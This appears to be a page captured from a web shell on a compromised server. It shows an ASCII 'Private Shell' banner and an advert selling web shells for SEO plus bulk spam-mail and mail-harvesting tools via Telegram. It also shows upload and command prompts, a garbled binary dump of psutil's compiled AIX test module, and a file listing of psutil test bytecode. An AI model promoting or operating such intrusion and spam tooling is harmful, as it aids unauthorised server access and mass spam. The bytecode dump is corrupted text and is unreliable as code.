__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
3

��JZm�@sxdZddlZddlmZddlmZddlmZddlmZddlZejed�Gdd	�d	ej	��Z
ed
krtee�dS)zAIX specific tests.�N)�AIX)�run_test_module_by_name)�sh)�unittestzAIX onlyc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�AIXSpecificTestCasecCs�td�}d}xdj�D]}|d|f7}qWtj||�}|j|d�d}t|jd��|}t|jd��|}t|jd	��|}t|jd
��|}	tj�}
d||}|j	|
j
|�|j|
j||d�|j|
j
||d�|j|
j|	|d�dS)
Nz/usr/bin/svmon -O unit=KBz	memory\s*z+size inuse free pin virtual available mmodez(?P<%s>\S+)\s+z(svmon command returned unexpected outputi�size�	availableZinuse�free�)�delta)r�split�re�search�assertIsNotNone�int�group�psutilZvirtual_memory�assertEqual�total�assertAlmostEqual�usedrr	)�self�out�
re_pattern�field�matchobjZKBrrrr	�
psutil_resultZMEMORY_TOLERANCE�r� /usr/lib64/python3.6/test_aix.py�test_virtual_memorys*z'AIXSpecificTestCase.test_virtual_memorycCsTtd�}tjd|�}|j|d�t|jd��}d}tj�}|jt|j	|�|�dS)Nz/usr/sbin/lsps -az=(?P<space>\S+)\s+(?P<vol>\S+)\s+(?P<vg>\S+)\s+(?P<size>\d+)MBz'lsps command returned unexpected outputrir
i)
rr
rrrrrZswap_memoryrr)rrrZtotal_mbZMBrrrr�test_swap_memory4sz$AIXSpecificTestCase.test_swap_memorycCs�td�}d}xdj�D]}|d|f7}qWtj||�}|j|d�d}tj�}|j|jt	|j
d��|d�|j|jt	|j
d	��|d�|j|jt	|j
d
��|d�|j|j
t	|j
d��|d�dS)Nz/usr/bin/mpstat -azALL\s*zfmin maj mpcs mpcr dev soft dec ph cs ics bound rq push S3pull S3grd S0rd S1rd S2rd S3rd S4rd S5rd syscz(?P<%s>\S+)\s+z)mpstat command returned unexpected outputi�Zcs)rZsyscZdevZsoft)rrr
rrrZ	cpu_statsrZctx_switchesrrZsyscallsZ
interruptsZsoft_interrupts)rrrrrZCPU_STATS_TOLERANCErrrr�test_cpu_statsIs2z"AIXSpecificTestCase.test_cpu_statscCs:td�}ttjd|�jd��}tjdd�}|j||�dS)Nz/usr/bin/mpstat -az
lcpu=(\d+)�T)Zlogical)rrr
rrr�	cpu_countr)rrZmpstat_lcpuZpsutil_lcpurrr�test_cpu_count_logicaljsz*AIXSpecificTestCase.test_cpu_count_logicalcCs4td�}t|j��}ttj�j��}|j||�dS)Nz/etc/ifconfig -l)r�setrrZnet_if_addrs�keysZassertSetEqual)rrZifconfig_namesZpsutil_namesrrr�test_net_if_addrs_namespsz+AIXSpecificTestCase.test_net_if_addrs_namesN)�__name__�
__module__�__qualname__rr r!r$r'rrrrrs
!r�__main__)
�__doc__r
rrZpsutil.testsrrrZskipIfZTestCaserr(�__file__rrrr�<module>s
c

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 27.98 KB 0644
__init__.cpython-36.pyc File 29.18 KB 0644
__main__.cpython-36.opt-1.pyc File 2.49 KB 0644
__main__.cpython-36.pyc File 2.49 KB 0644
test_aix.cpython-36.opt-1.pyc File 3.2 KB 0644
test_aix.cpython-36.pyc File 3.2 KB 0644
test_bsd.cpython-36.opt-1.pyc File 17.23 KB 0644
test_bsd.cpython-36.pyc File 17.23 KB 0644
test_connections.cpython-36.opt-1.pyc File 14.19 KB 0644
test_connections.cpython-36.pyc File 14.53 KB 0644
test_contracts.cpython-36.opt-1.pyc File 22.11 KB 0644
test_contracts.cpython-36.pyc File 22.94 KB 0644
test_linux.cpython-36.opt-1.pyc File 62.96 KB 0644
test_linux.cpython-36.pyc File 64.19 KB 0644
test_memory_leaks.cpython-36.opt-1.pyc File 21.47 KB 0644
test_memory_leaks.cpython-36.pyc File 21.47 KB 0644
test_misc.cpython-36.opt-1.pyc File 32.23 KB 0644
test_misc.cpython-36.pyc File 33.15 KB 0644
test_osx.cpython-36.opt-1.pyc File 10.54 KB 0644
test_osx.cpython-36.pyc File 10.54 KB 0644
test_posix.cpython-36.opt-1.pyc File 12.85 KB 0644
test_posix.cpython-36.pyc File 12.98 KB 0644
test_process.cpython-36.opt-1.pyc File 39.24 KB 0644
test_process.cpython-36.pyc File 40.08 KB 0644
test_sunos.cpython-36.opt-1.pyc File 1.41 KB 0644
test_sunos.cpython-36.pyc File 1.41 KB 0644
test_system.cpython-36.opt-1.pyc File 24.49 KB 0644
test_system.cpython-36.pyc File 25.81 KB 0644
test_unicode.cpython-36.opt-1.pyc File 10.88 KB 0644
test_unicode.cpython-36.pyc File 10.93 KB 0644
test_windows.cpython-36.opt-1.pyc File 27.55 KB 0644
test_windows.cpython-36.pyc File 27.76 KB 0644